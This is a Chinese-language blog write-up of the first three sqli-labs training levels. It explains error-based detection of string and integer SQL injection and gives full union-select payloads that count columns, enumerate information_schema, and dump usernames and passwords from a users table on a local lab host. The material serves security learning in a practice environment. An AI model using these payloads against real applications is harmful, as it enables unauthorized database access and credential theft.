首页 > 数据库 >sqli 靶场通关(持续更新)

sqli 靶场通关(持续更新)

时间:2023-05-04 22:36:16浏览次数:52  
标签:information Less url sqli 靶场 通关 id union schema

第一关:Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

手工union联合查询注入

一:判断注入类型

url=http://127.0.0.2/Less-1/?id=1'

看回显的报错信息

这里说: '1'' LIMIT 0,1    这里的1被单引号包裹说明这里是字符型然后  '  引号闭合。

收获:字符型, ' 号闭合

二:进行联合注入

联合注入需要的条件有不清楚的小伙伴可以去这篇文章看看

https://www.freebuf.com/vuls/254621.html

1.找到当前表的列数

因为联合注入虚拟表是列数要和当前表的列数一致

我们可以通过[order by]语句来判断,[order by]语句的作用是按照某一列进行排序数。并且在Mysql数据库中可以用数字来代替对应的列表

order by 3   正常   

 

order by 4  异常

说明当前表有三列

 

2.联合注入查询库

url = http://127.0.0.2/Less-1/?id=-1'union select 1,2,database() --+

注意:这里要知道联合注入时,你前面的值要为假的时候,也就是数据不存在时,union select之后查询出的结果就会显示在页面中

3.查询当前表

url = http://127.0.0.2/Less-1/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

解析url:

group_concat(),函数作用:把回显全部拼接到一起,这样就可以获得全部回显

information_schema :源数据库数据库

information_schema.tables:存放所有表名的表

information_schema.columns:(存所有字段名的表)

information_schema.table_name:(存表名的字段)

information_schema.table_schema:(存表所属数据库的字段)

information_schema.column_name:存字段名的字段)

information_schema.table_name:(存字段所属表的字段)

 

收获:拿到了以下的表

4.爆列名了,也就是爆字段

url  = http://127.0.0.2/Less-1/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

 5.爆值

url = http://127.0.0.2/Less-1/?id=-1' union select 1,2,group_concat(username,0x3a,password) from users--+

解析:0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username。

 

 

 第二关:Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

 这里和第一题的区别就是一题是字符型,这题是整型注入。

看下区别:

报错信息是:' LIMIT 0,1

所以说明这里是整型

payload就是把上题的id=1'  后面的分号去除

 

 

url = ?id=-1 union select 1,2,group_concat(username,0x3a,password) from users--+

 

 第三题:Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

一:分析报错信息

url = http://127.0.0.2/Less-3/?id=1'

报错位置 :   '1'') LIMIT 0,1

 

 种类:字符型,且有括号包裹 所以这里的payload要在id=1'后面加上)号,这是因为这样才能闭合前面的语句,其他参数和前面一样   url  =  http://127.0.0.2/Less-3/?id=0') union select 1,2,group_concat(username,0x3a,password) from users--+

 

 

标签:information,Less,url,sqli,靶场,通关,id,union,schema
From: https://www.cnblogs.com/xxpanda/p/17372399.html

相关文章

  • PHP基础--mysqli的事务处理
    <?php//在命令行中:默认创建的表类型为MyISAM表类型,是不支持事务的//在命令行中建表时添加type=InnoDB,默认自动提交事务autocommit,不能回滚//创建连接对象$mysqlConn=newmysqli("localhost","root","root","test");if($error=$mysqli->connect_error){die("......
  • [Docker] Add a SQLite Console Shortcut with the Dockerfile
    Withalong-runningnodeserverandadatabase,sometimesit'susefultosshintothevirtualmachinetoexplorethefilesystem,andlookatthedatabase.InDockerfile,add:RUNecho'#!/bin/sh\nset-xe\nsqlite3\$DATABASE_URL'>/u......
  • 《SQLi-Labs》02. Less 6~10
    目录Less-6知识点题解Less-7题解Less-8题解Less-9知识点题解Less-10题解sqli。开启新坑。Less-6知识点布尔盲注。与Less-5基本相同。这里只简略写大致步骤。length()函数:返回字符串所占的字节数。ascii()函数:返回字符串最左字符的ASCII值。如果是空字符串,返回0。如......
  • [网络安全]sqli-labs Less-2 解题详析
    往期回顾:[[网络安全]sqli-labsLess-1解题详析](https://blog.csdn.net/2301_77485708/article/details/130410800?spm=1001.2014.3001.5502)判断注入类型GET1and1=1,回显如下:GET1and1=2,没有回显:说明该漏洞类型为整型注入。判断注入点个数GET1orderby3,回显如下:GE......
  • [网络安全]sqli-labs Less-3 解题详析
    判断注入类型GET1'and'1'='1,回显如下:GET1'and'1'='2:没有回显,说明该漏洞类型为GET型单引号字符型注入判断注入点个数GET1'orderby2--+,回显如下:由上图可知,sql语法中给$id加上了()猜测后端语句为SELECT*FROMxxwhereid=('$id')故构造GET1')orderby3-......
  • [网络安全]sqli-labs Less-4 解题详析
    判断注入类型GET1"and"1"="1,回显如下:GET1"and"1"="2没有回显,说明该漏洞类型为GET型双引号字符型注入判断注入点个数GET1"orderby3--+由上图可知,sql语法中给$id加上了()猜测后端语句为SELECT*FROMxxwhereid=("$id")故构造GET1')orderby3--+,此时后......
  • [网络安全]sqli-labs Less-5 解题详析
    往期sqli-labs在该博客中,读者可自行浏览。[秋说的博客](https://blog.csdn.net/2301_77485708?spm=1000.2115.3001.5343)该博客实操性较高,请读者`躬身实践`判断注入类型GET1'and'1'='1回显如下:GET1'and'1'='2没有回显,说明该漏洞类型为GET型单引号字符型注入判断注入......
  • SQLite3数据库的介绍和使用(面向业务编程-数据库)
    SQLite3数据库的介绍和使用(面向业务编程-数据库)SQLite3介绍SQLite是一种用C语言实现的的SQL数据库它的特点有:轻量级、快速、独立、高可靠性、跨平台它广泛应用在全世界范围内的手机电脑应用的内建数据库官网地址:https://www.sqlite.org/index.htmlSQLite因为其采用文件存储......
  • Android提高第八篇之SQLite分页读取
    Android包含了常用于嵌入式系统的SQLite,免去了开发者自己移植安装的功夫。SQLite支持多数SQL92标准,很多常用的SQL命令都能在SQLite上面使用,除此之外Android还提供了一系列自定义的方法去简化对SQLite数据库的操作。不过有跨平台需求的程序就建议使用标准的SQL语句,毕竟这样容易在......
  • Android提高第九篇之GridView和SQLite实现分页表格
    上次讲的Android上的SQLite分页读取,只用文本框显示数据而已,这次就讲得更加深入些,实现并封装一个SQL分页表格控件,不仅支持分页还是以表格的形式展示数据。先来看看本文程序运行的动画:这个SQL分页表格控件主要分为“表格区”和“分页栏”这两部分,这两部分都是基于GridView实现的。......